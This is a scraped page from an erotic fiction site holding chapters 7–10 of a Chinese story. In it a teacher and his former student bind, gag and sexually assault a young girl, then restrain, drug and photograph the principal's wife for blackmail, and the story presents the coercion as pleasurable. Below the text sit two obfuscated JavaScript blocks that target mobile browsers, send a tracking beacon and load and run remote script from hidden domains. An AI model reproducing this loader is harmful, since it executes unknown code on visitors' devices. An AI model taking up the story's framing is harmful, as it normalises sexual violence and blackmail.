图片载入中

甜美的游戏(7-10节 完)

特大字】 【大字】 【中字】 【小字

(七)

“是很可爱的女孩吧?”

清三站在典子的身边,在耳旁轻轻说道。

“老师,你太过份了…..”

“你当初也是那样的,可是后来…..”

“请不要说了…..”

“你做为前辈,应该有很好的表现。”

“太过份了…..”

典子虽然对清三发出怨恨的眼光,但他的眼睛里已经充热情,把美丽红润的脸转开。清三从背后连木柱也抱在一起,开始抚摸典子的乳房,典子长叹一口气,开始扭动身体。这是她做为前辈想做给广子看的演技呢?还是出自真心,就是典子本人也无法区别。

“啊…..老师!”

一直都在抚摸乳房或捏弄乳头,始终不肯在下面抚摸,所以典子发出耐不住的声音,好像诱导似地的扭动臀部。

向典子瞄一眼的广子,看到典子淫荡的身段,紧张地又立刻转过头去,可爱的膝盖头好像在诉说没有办法夹紧的哀怨,微微地在颤抖。

“愿意吻我吗?”

清三说的时候故意也让广子听到,典子立刻伸出嘴,清三用力地吸吮着,手慢慢向下移。

“哎呀…..”

发出甜美的声音,典子尽量扩展双腿,好像故意地暴露出充血的花瓣,然后就好像要求快一点似地用力扭动臀部。像故意让她着急似地,清三的手指轻轻地抚摸到黑色的嫩草时,再一次向旁边滑过去。

“请你不要急死我了…..快一点…..”

“你要我做什么呢?”

“不要让我说出那种难为情的话吧…..我快要疯了…..”

“你不说我怎么会知道呢?”

“那里呀!就是那里…..用力的…..好不好…..”

对愈来愈淫乱的典子,就是清三也感到惊讶。而且对自己把她训练成这样的被虐待狂,反而感到一些恐惧。

广子好像忘记羞耻,眼睛盯在眼前做出淫荡姿态而扭动的典子身上。纯真的眼睛因羞涩而湿润,只剩下乳罩的乳房激烈地起伏,看到清三的手指拨开湿淋淋的花瓣侵入时,她的身体就像受到电击一般的僵硬。清三一面用眼睛余光偷看她的情形,一面玩弄典子的肉芽。从广子塞住的嘴里露出啜泣般的呻吟声,被分开的大腿好像下意识地露出淫秽的动作。

(一定有很多手淫的经验!)

清三露出得意的笑容,这样子的话就容易训练了。

“…..好…..老师…..典子…..快要了…..”

典子的臀部向前后挺动,同时发出刺激听者情欲的声音,这时候已经不是演技了。

“求求你…..用假性器吧…..”

这时候她向清三看过去的瞳孔里已经失去焦点,当假性器进入身体里发出沈闷的声音时,典子立刻嘴里发出淫声浪语,很快就达到高潮,对平常很文雅的典子而言,这是令人难以相信的情景。深深地垂下头,露出一半是昏迷的表情,可是她的身体夹住假性器,好像在享受快感余韵般地还在蠕动。

清三当然也看清楚就在典子达到高潮时的刹那,广子做出来的反应。

就好像自己达到高潮一样,她的下体在哆嗦,从喉咙里发出轻微的惊叹声,眼睛不停地眨动,现在是低下头,肩头因急促地唿吸而起伏。

清三解开典子的绳子,然后在她耳边悄悄说。

“身体恢复清醒后,去好床。”

“是…..”

典子露出懒洋洋的眼光看着清三点头,清三在广子身边跪下。

“你怎么了?是不是和她一起达到高潮了呢?”

一面拿出她塞在嘴里的布,一面取笑。

“饶了我吧…..”

声音细小,身体任由清三拥抱。清三取下她的乳罩然后在乳房上轻轻揉摸时,广子就开始摆头,从喉咙里发出如泣如诉的声音。

“你的乳房很美。”

不输给典子的丰满乳房,因为未曾经过男人的抚摸,比较硬而有弹性,粉红色的小乳头已经硬硬地向上翘起,令人想像她现在的状况,更觉得可爱。

看到广子已经完全失去抵抗力,清三开始吻她,因紧张而颤抖的嘴唇,使清三感到未有的激动和新鲜感,抚摸乳房的手不由得用力,用舌尖顶开广子的嘴,将缩在里面的舌头吸出,含在嘴里轻轻玩弄。突然广子在舌尖上增加主动性,使得清三感到无比兴奋,同时将手向下轻轻移动,。

“不要…..”

广子的身体向后翘。

“你一点也不用难为情…..”

在开始渗出水分的内裤上,用指甲尖搔痒似地轻轻活动,每活动一下,广子的膝盖头也随着颤抖,然后开始露出自己才能听到的啜泣声。

好床的典子走过来,两个人一起将广子脱光,广子的肉缝已经湿润了,这种情形被他们看到后,广子就失去抵抗的力量,在哭泣和摇头中,被脱个精光,然后在床上固定成为大字型。

“广子,你真美,我们以后做好朋友吧…..”

典子好像已经忘记羞耻和犹豫,抱住还在哭泣的广子,好像是被同一个男人玩弄的有相同遭遇的怜悯之情和亲近,似乎使典子的情欲更高昂。也许她是因为自己最羞耻的样子被她看到,就产生也要使对方和自己有相同境遇的虐待狂的心情。

“不,不要,大姐姐…..饶了我吧…..”

广子有气无力的说,对这种有生以来第一次的经验,刺激的使她全身颤抖。

“广子,你是早熟的姑娘,乳房和我一样大,就是这里也…..”

“啊!不要…..不能在那里…..”

扬起下颚哀求,典子的身体开始扭动,滑落在广子分开的大腿间。

“不要怕,一切都交给典子姐姐吧。”

在广子的枕边盘腿坐下的清三,一面摸她的乳房一面说。

“啊…..不能…..不能…..”

广子美丽的眉毛皱成一团,嘴角在抽,腰部以下在痉挛,分开和床哺同宽的双腿尖,突然向上跷,然后又用力向内弯曲。

“真的好可爱…..”

典子的声音显得沙哑,双手把广子黑色草丛下的肉缝拨到最开,然后用嘴吸吮尖尖的粉红色花瓣。用舌尖顶一下可爱的小颗粒时,广子的身体就会痉挛,啜泣声变成撕破喉咙般的喘气声。

“因为你平常不乖,常常自己玩弄这里,所以才会这样敏感。”

“啊,难为情…..”

在广子的声音里,开始增加撒娇的口吻,看起来还幼稚的屁股不停地蠕动,大腿根好像在要求什么似地颤抖。

“你在自己玩弄时,心里想到什么呢?”

清三把右臂伸到广子的头下,左手轻轻抚摸乳房,同时向广子问。这时广子脸色红润,只知道慢慢摆头。

“是想到男朋友吧?”

“不…..老师,不要问那种事,…..”

清三吸吮她的可爱嘴唇,回应的动作不够熟练,广子很快就变成上气不接下气的样子。

“啊…..姐姐…..饶了我吧…..”

发出紧张的尖叫声后,身体痉挛,同时好像陶醉在梦中般的使眼哆嗦。

“真可爱。”

典子看到广子双腿间湿淋淋的样子,瞪大眼睛。广子好像还在享受全身的快感,腰挺在空中,支援身体的双腿仍在痉挛中。

清三一面看着广子的情形一面脱光自己身上的衣服。

“一定要弄她吗?”

典子擡头看清三时,眼睛已经形成蒙胧的样子,紧紧抱住清三的肉体,她露出很想要清三肉体的风情,雪白的手指紧紧握住肉棒的根部,而且还用自己的脸颊轻轻磨擦。

“从天今起,不再属于我一个人的了…..”

典子的嘴从肉棒的根部向前滑动,然后压在尖端上。

“你也不属于我一个人的了…..”

清三的手指插在典子的头发里,一面揉搓,一面说。

“可是他不可能给我像你给我的快乐…..”

“如果是那样,就来找我好了…..”

“啊…..你好残忍…..”

典子好像呻吟般地说完,就把手上的肉棒深深含在嘴里…..

穿着纯白的套装,抱着一束鲜花的新娘典子美丽地像天使,在车站的月台上和清三匆忙交谈,典子看清三的眼光难免显得紧张,在这时候清三也没有话可说了。

“老师,刚才你是和广子…..”

新娘脸上出现俏皮的笑容。

“说实话,我想抱的是穿新娘礼服的你。”

典子的脸突然开始红润,笑容却暗淡。

“我不想去…..”

清三对快要哭出来的典子轻轻斥责。

“一切都是从现在开始,打起精神快去吧。”

“是…..”

“我今晚也会不睡觉的想你…..”

“真的吗?”

“当然是真的,我不是不会痛苦的。”

“好高兴!”

典子说完之后,就好像怕清三看到她的泪水一样地跑走了。清三目送着她的背影,突然产生会永远失去典子的预感。

从包围新郎新娘的人群中传来欢笑声。

(八)

典子来到清三的公寓,是她结婚后的一个多月。穿着和服的典子好像换了一个人,在这一个多月之间有如增加几岁,手上带了一包礼物。

“好久没来问候…..”

面对着清三,典子露出新婚的羞涩,同时也显得有了为人妻子的镇静态度。

“好久没见,今天来的目的是要我帮你吗?”

清三自以为是轻松地开玩笑,但声音难免会带刺,这是因为典子的态度很像外人的关系。微微低头的典子脸上增加红润,从和服里的身体散发出眼睛看不到的性感。

“是怀念我那绳索的滋味吧…..”

“是…..”

还没有到嘴就消失的声音,好像迫不及待的眼光,清三看到她这种眼光,原来所坚持的感情,完全瓦解。把放在中间的茶桌推开,立刻过去紧紧抱住倒在他怀里的典子。从来没有闻过的香水和化品的芳香冲入清三的鼻子里,颤抖的红唇向清三逼过来。

“我每天都在想老师…..”

典子的声音颤抖,同时伸出双手搂住清三的脖子,在紧张的唿吸中,两个人彼此贪婪地吸吮对方的嘴唇,急促的唿吸声变成啜泣声。典子的脸离开,用含着泪珠的眼睛看着清三,伸出雪白的手指擦拭沾在清三嘴唇上的口红,然后又把脸紧紧贴在清三的胸前。

“你的家庭还顺利吗?”

清三好像怀抱着从没有抱过的贵重东西。

“我的丈夫发觉我不是处女。”

“他说什么?”

“什么也没说,但好像一个人在苦恼。”

“晚上,他和你做爱吧?”

“那是自然的…..可是显得急躁,并不是真的很恩爱的样子…..”

“使我嫉妒…..”

“真的会为我嫉妒吗?”

调皮的看着清三。自从嫁人后,好像她又成长了许多。

“女人真是不得不防,看起来好像软弱无力,但心里却用秤把男人秤量。”

清三一面抚摸典子兴奋的脸,一面说。

“那要看对方的男人是谁了,我从来没有怀疑过老师对我的心,我只是像奴隶一样地跟随而已…..这样我就很幸福了…..”

“你说的真好。”

“是真的…..我结婚后才知道我是真心爱老师的…..”

典子的声音开始鸣咽,清三一阵心痛,把她紧紧抱住在怀里。典子闪闪发光的眼睛确实抓住清三的视线,同时典子在清三的眼睛里看到他的真情,典子只有默默地点头掉下泪珠,颤抖的声音不停地说“我很高兴…..”

“再忍耐一阵吧,我一定会让你做我的妻子,我不会骗你…..”

典子的眼睛好像决堤一样地开始哭泣,把自己的身体用力压在清三的身上,泪水沾湿清三的衣服。清三温柔地抚摸颤抖的双肩,忍着不让自己的眼泪掉下来。

娶典子是不包括在当初的计画里,可是把出嫁的女人又抢回来,一定能给对方很大的打击,不管是什么情形,这不是影响计画的事。

痛快的哭够后,典子难为情的离开身体,拿出手帕擦拭眼泪,清三把手轻轻放在她的肩上说:

“为了使你成为我的人,无论如何都要控制住你的养母,使她无话可说。这一个月以来,校长出差的夜晚,特别到校长家前守望,刺探夫人的行动,正中的我猜想,那样的夜晚,她一定会外出,而且还打扮漂漂亮亮的,只要能抓住这样弱点,不管我们做什么都没有问题的。”

典子点点头。

“可是,为了使这种情形更进一步有把握,大既需要占有她的身体,然后把那种场面拍照下来,到时候需要你帮忙,可以吗?”

“那样,会使我更感到快乐。”

“对,就以这种方式把离婚证书送到他们面前,还有,今后你要对丈夫表现出冷淡。甚至于可以做出外面有男人的样子,你的丈夫会火冒三丈的向姐姐要求离婚。这两者凑在一起,离婚就顺利成功了,况且他们为掩饰家人的荣誉,他们对外一句话也不敢说出来,他们愈恨我们,就需要拉拢我们,对外界露出笑容。”

清三说完后大笑,典子是女人,当然对那样大的梦想不会有太大的关心,只是为将来,看着前面的男人露出兴奋的笑容。

(九)

一星期后,典子打电话来,表示养母要她下午过去。

“一定是我丈夫把那件事告诉她的。”

“大概是吧。”

“怎么办呢?”

“我也一起去。”

“可是你要去学校吧。”

“请假!”

清三好像胸有成竹地说。不是在假日的下午把典子叫去,大概是面对面,温和地想问出事情的真相,清三准备趁此机会猛攻。第二天,两个人在附近的咖啡厅里见面,简单地协商后开车去校长家里,清三带着有绳索等必要工具的皮包,典子考虑到行动的方便,穿的是洋装。

校长的房子虽然很古老,但很雄伟,有很高的围墙,墙内有很高的树木,对里面的情形不容看到,因此一旦进入之后,对进行计画也更方便。来到大门口迎接的校长夫人,也就是典子的婆婆智香子,为迎接典子打扮得特别素,她是二十六岁,和典子差不了多少,对这样的媳妇,要严词以对,必须先从自己的打扮开始准备。

“滨本先生,为什么你也…..”

看到清三和典子并列门口,智香子夫人露出带有疑惑的责难眼光。

“我觉得你找典子小姐谈的话,和我有很大的关系…..”

清三是一本正经地回答,但从他脸上大胆的笑容,智香子夫人的锐利灵感好像察觉到什么事,和默默站在那里的典子做比较似地看一下,然后巧妙地克制内心的强烈疑惑,把他们带到客厅。虽然不很宽大,但具备壁炉的客厅,从庭院射进来的阳光透过窗,显出安定的气氛。

大概是事先故意让女佣出去办事吧,夫人亲自倒茶,对媳妇多少看成是客人的态度中,可以感觉出夫人内心的不满。

“婆婆,找我什么事呢?”

对只差四,五岁的女人叫“婆婆”的典子口吻里,多少含有讽刺。

“我倒要先请教滨本先生,为什么会和典子一起来呢?”

大概智香子夫人早就忍不住想要问这件事了。

“当然我要告诉你的。”

清三温和地看着智香子夫人的美丽但尖锐的眼光。

“我直接了当地说吧,典子小姐外遇的对象就是我,是从她高中时代一直持续到今天,我这样说过之后,我想夫人问典子小姐的话也等于有了答案。”

智香子夫人的眼睛因为惊讶而瞪大,也急忙用手盖住嘴,一面大声叫喊,典子低下头,规规矩矩地坐在清三的旁边。

“典子,这是真的吗?”

“婆婆,是真的。”

“啊,怎么会…..”

好像说话都觉得沾辱她的人格似地猛摇头,愤怒使她的脸通红,而且微微痉挛。

“夫人,知道以后准备怎么办呢?”

“你要知耻,要知耻…..”

“我现在已经是知耻了,所以才这样说的,至少比自己和其他男人有外遇,还若无其事地责备其他人的人要强多了。”

“你说什么?说我…..”

美丽的眉毛倒竖,想要反驳的智香子夫人,看到清三嘲笑的表情,脸色开始变得苍白,清三拿出一张纸放在她的面前。

“请看一看吧,对这个时间,日期,地点还记得吧。”

在那张纸上记载着智香子夫人和门田会见的记录,夫人拿纸的手开始颤抖,僵便的脸开始抽。

“约会的对象是谁我也知道,门田是教育委员长,也就是典子小姐的伯父。”

智香子夫人好像无法克制自己,用双手盖住脸。因为对方很轻易就被击倒,清三和典子互相看了一眼,好像觉得很意外的样子,没多久,夫人猛然擡头,她的脸好像没有哭过的样子。

“我明白了,关于典子和你的事情我就不过问了,我也会这样告诉弟弟。”

每一句话都说得很清楚。

“你的意思是说,也不要我们过问你的事吗?”

“是的。”

苍白的脸上出现一丝红润。

“婆婆,我是想和丈夫分手,已经忍受不了现在的生活了。”

典子开始发动攻势。

“这是不可以的,绝对不能答应。”

“为什么呢?”

“因为名誉会受到影响,在教育界的家庭里是根本不允许有离婚的事发生。”

“仅是保持外表漂亮,就满意了吗?”

“这就是古老家庭的传统。”

智香子夫人的口吻很坚定,对她这样的态度,就连清三都感到欣赏,但也更引起清三的敌气心。

“你的意思是说无论做什么事情,只要不让外界知道就行了吗?”

就在夫人刹那间犹豫着没有回答时,清三已经站起来。

“夫人,我们悄悄地寻乐,不要外人知道就行了,因为校长是阳萎,使太太年轻的身体无法解决性欲,所以才会和门田发生关系,但我是同情你的。”

清三下流的口吻,使得智香子夫人也立刻站起,此时,清三抓住她的衣袖用力拉。

“你想做什么?”

大声叫着想甩开清三的手,但身体无法保持平衡,仆倒在茶桌上,茶杯掉上去发出很大的声音。清三骑在夫人挣扎的身上,将双手扭转到背后,从口袋里拿出带来的手铐铐上,冰凉的金属手铐扣在雪白的手上,显得很残忍的样子。

“不要,不要这样…..这样干什么…..”

“夫人,是不方便让别人知道的事。”

清三低头看着想挣脱手铐的夫人,从她的身上取下腰带。

“典子,过来帮忙。”

“是…..”

典子在后面抱住夫人挣扎的双腿。

“典子,连你也要做这种事…..”

“婆婆,这是为了不让别人知道我们的事。”

夫人更大声叫着挣扎着。清三从背后用双手抓住衣领猛向下拉,她的背完全暴露出来。

“不要…..不要!”

“典子,用绳索把太太的腿绑到桌子脚上,要分开绑。”

典子把夫人的双腿分开,形成趴在细长茶桌的样子,并把脚固定在桌脚上,清三看清楚以后,取下手铐,把夫人身上的衣服撕破。

“啊…..”

夫人发出尖叫声,用恢复自由的双手掩饰脸和胸部,可是她的裸体就好像挺起丰满的屁股,骑茶桌一样,因为羞耻而不断扭动,构成一付更淫乱的图案。

“饶了我吧…..不要做这样残忍的事…..”

智香子夫人的身体已经红到脖子了,可是清三毫不客气地在蠕动的屁股上打一掌。

“不会做残忍的事,是要给你快乐的。”

“不要…..”

四肢失去自由的智香子夫人开始哭泣,从身上发出无法形容的香味。

(十)

高高地挺起屁股,张开腿四肢着地的样子,很滑稽同时也是一幅春宫图,刚才还高雅地穿着衣服,仍完美的保持一分校长夫人的威严,因此现在所形成的构图就显得更可怜。

可是从后颈到肩头,然后到臀部的性感曲线,令人联想到纤腰的美丽胴体,丝毫没有损失其美感。而且和发出黑色光泽的头发形成强烈的对比,有如白色陶瓷的肌肤,在屈辱和羞耻的感受下出现轻微的的粉红色。

清三和典子看到这个情景,几乎说不出话来。

“看到这样美丽的肉体还硬不起来的校长,也真够可怜,连我都感到嫉妒。”

典子说。

“这是会吸光男人精力的肉体,我了解门田先生愿意冒着失去社会地位的危险还不肯放手的心情…..”

夫人在咬紧牙关,克制自己不要发出哭泣声。两个人走到夫人脚跟的方向,在那里又有不同的景色。

在丰满挺立的雪白双丘之间,形成复杂的色彩和曲线,展开成美丽的图画。细微的皱纹形成美丽的花蕾,再向前方有几层粉红色的重叠,是美丽的花瓣,从左右长出的细毛,愈向上也愈浓密,然后覆盖在小山丘上。

“不要看…..求求你们…..”

夫人的嘴里不断地这样说着,做为一个女人,自己最神秘的地方这样被看到,难为情的感觉使她的屁股和大腿根不停地颤抖,就好像要更羞辱她,清三的手指轻轻伸过去。

“啊,不要…..”

夫人的背向后挺。

“没想到反应很敏感,拿药膏来。”

“是。”

“不要!要做什么…..”

“我已经说好几次,要给你快乐的。”

“啊,不…..”

清三用左手拍打着不停扭动的屁股,同时伸出右手指抹上许多典子挤出来的药膏。

“夫人,会觉得很舒服的。”

“饶了我吧…..”

在涂药膏的异常感觉上,智香子夫人已经忘记一切地摆动屁股,可是清三不管这一套,在花瓣的每一部分,里面的小肉丘以及可爱的花蕾上都涂满药膏。

“住手,饶了我吧…..不要了…..”

在夫人的叫声中开始加入恐惧的成分,是因为药膏的力量使她的黏膜开始骚痒,屁股沟里的花蕾又缩紧,扭动地也更激烈,唿吸几乎都困难的样子。

“痒…..太痒了…..”

夫人虽然咬紧牙关,但还是忍不住地说出难为情的话,被捆绑的手开始抓地毯。

“哎呀…..”

屁股挺的更高,清三的手指在轻轻地揉搓花蕾,涂在那里的药膏发生效力,原来紧合的肉蕾变的柔和,已经微微张开口,能看到里面的粉红色。

“啊,不要…..这样…..”

智香子夫人一面摇动挺起的屁股,一面尖叫。

“门田先生没有爱过你的肛门吗?好像很敏感的样子…..”

清三脸上露出得意的笑容,看着开始变色的美丽花瓣,从里面流出的第一滴花蜜,顺着花瓣流下来。夫人还在呻吟,唿吸时几乎要断气的样子,像梦呓般地反复说不,但已经不是抗拒的声音,开始变成一种性欲快感的低吟。

“啊…..那样会出来了…..”

“嘿嘿,开始松了,开始松了…..”

清三的食指插入已经松弛的花蕾中心,夫人的屁股像受到震撼似地颤抖。

“夫人,有很舒服的感觉吧…..”

“不,不…..啊,我快要疯了…..”

“夫人,不是要疯了,而是痛快吧,你不是在扭动屁股吗?”

清三说着在屁股上打一巴掌。

“典子,用假性器弄一弄她的前面,我到那一边去,所以也在肛门同样地弄时,你会看到很好看的场面,是校长夫人浪起来的场面。”

“不要一口气弄到了为止,要慢慢地弄,叫她不停地叫喊。”

典子下一口唾液。

将开始震动的假性器对正湿淋淋的花蕾时,智香子夫人立刻发出尖锐的喊叫,头也不停地左右摆动。

“典子,求求你…..饶了我吧…..啊…..”

全身痉挛到可怕的程度,头发已经散乱,可爱的下颚拼命的向前伸,清三用照相机把这种样子拍下来,来到夫人的头前抓住头发,把她的脸仰起,

“滨本先生…..饶了我…..”

夫人含着泪珠看着清三,在这个时候典子手里的假性器碰到扭动时,就会从喉咙里发出沙哑的浪叫声。

“和门田先生弄的比起较来,怎么样呢?现在已经很舒服了吧…..”

“饶了我吧…..是我不好…..我道歉,就不要再…..啊…..”

皱起美丽的眉头,咬住下唇,拼命忍受从下体传来的快感,此时在智香子夫人的表情已经完全没有做校长夫人的威严,完全是逐渐被肉体的快感所淹没,是雌性最后的挣扎而已。

典子的动作很巧妙,她手里的假性器避开好像要吃东西,张开嘴流出水的粉红色肉唇,在那四周敏感的肌肤上,慢慢地捉弄,她的手指同时也插入肛门里,好像在享受肛门抽时产生的压力感。

“啊…..啊…..啊!”

智香子夫人发出的声音更加急促,眉毛也更向上翘,典子手里的假性器立刻离开,原来扬起的下颚就突然垂下来。

“我会疯的…..啊…..”

夫人一面喘气一面说出难为情的话。

“婆婆,舒服吗了?”

“典…..典子,求求你啊!”

“伯父和我,谁弄得好呢?”

“这种事…..”

清三拉下裤子的拉。

“啊!…..”

夫人被那裤子里冲出来的肉棒打到脸颊上,几乎使她的黑眼珠看不见了。

“快回答典子的问题!”

夫人从松弛的嘴唇中伸出舌头,好像很痛苦地喘气,但清三毫不客气的要求。

“是…..典子的…..弄得好…..所以…..快一点…..给我吧…..”

“被女孩弄得这样舒服,你不觉得难为情吗?”

“可是…..啊…..快一点吧…..”

朦胧的眼睛开始追逐在眼前晃来汤去的肉棒,口水从嘴里流出来形成一条白线。

“把这个东西含在嘴里,下面的洞就给你填满…..”

“典子,给她插进去…..”

清三说完的同时,屁股向前挺,在她的嘴里抽插起来。

“喔…..”

从嘴里发出沈闷的声音,可是又因为典子手里的假性器插入,声音无法从喉咙顺利完全吐出,这样的刺激使夫人不断地扭动身体,同时激烈地痉挛…..

“她已经完了吗?”

智香子夫人连清三低头向她看的情形也没有发觉,全身像波浪一样地起伏,同时嘴里发出让人听不懂的话。

“啊…..鸣…..”

夫人突然张开眼睛,开始流汗的背完全僵硬,屁股挺起到最高,紧含住假性器的花唇不停地的抽,从喉咙里发出沙哑的叫声,然后就好像汔球气一样,夫人的身体软化下来。

“哼,我可是才刚开始,真是没用。”

清三将自己的肉棒从失去力量的嘴里退出来,夫人好像连这个动作也没有发觉,赤裸裸的肉体还因那反复冲上来的快感,不停地产生阵阵的抽搐。

十分钟后……..

智香子夫人的手脚已经离开茶桌的捆绑,但她的表情好像还没有从陶醉中清醒过来,此时清三用绳索把她的双手捆在赤裸的身体后面,在乳房上下也用绳索捆绑,使得乳房的形状改变,乳头别突出。脖子上也有绳子绕过,因为摇头会疼痛,不敢将脸转开,好像已经完全屈服地任由清三摆弄。

“站起来走走…..”

在清三拉动绳索的情形下,智香子夫人只好摇摇摆摆起来,当她无力地像要蹲下去时,清三就用绳头打她的屁股。

“过去还没有绑在自己的床上做爱吧,今天我要你好好地哭一顿。”

“啊…..”

智香子夫人哭泣着在擦拭如镜子般的走廊上,反映出赤裸洁白的肉体,摇摇摆摆地走向卧室的床。

在她的身后,是手拿黑色皮包的典子。

第二年的四月,滨本清三升任教务主住,然后在同年秋天,和已经离婚的典子结婚,因为新郎新娘都是再婚,所以典礼很简单,但一切是在“和睦”的情形下进行。

清三在结婚后,和智香子夫人或广子有什么样关系,局外人就无法知道了!


上一篇:公交车上另类的蹂躏

下一篇:小老婆叶柔


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};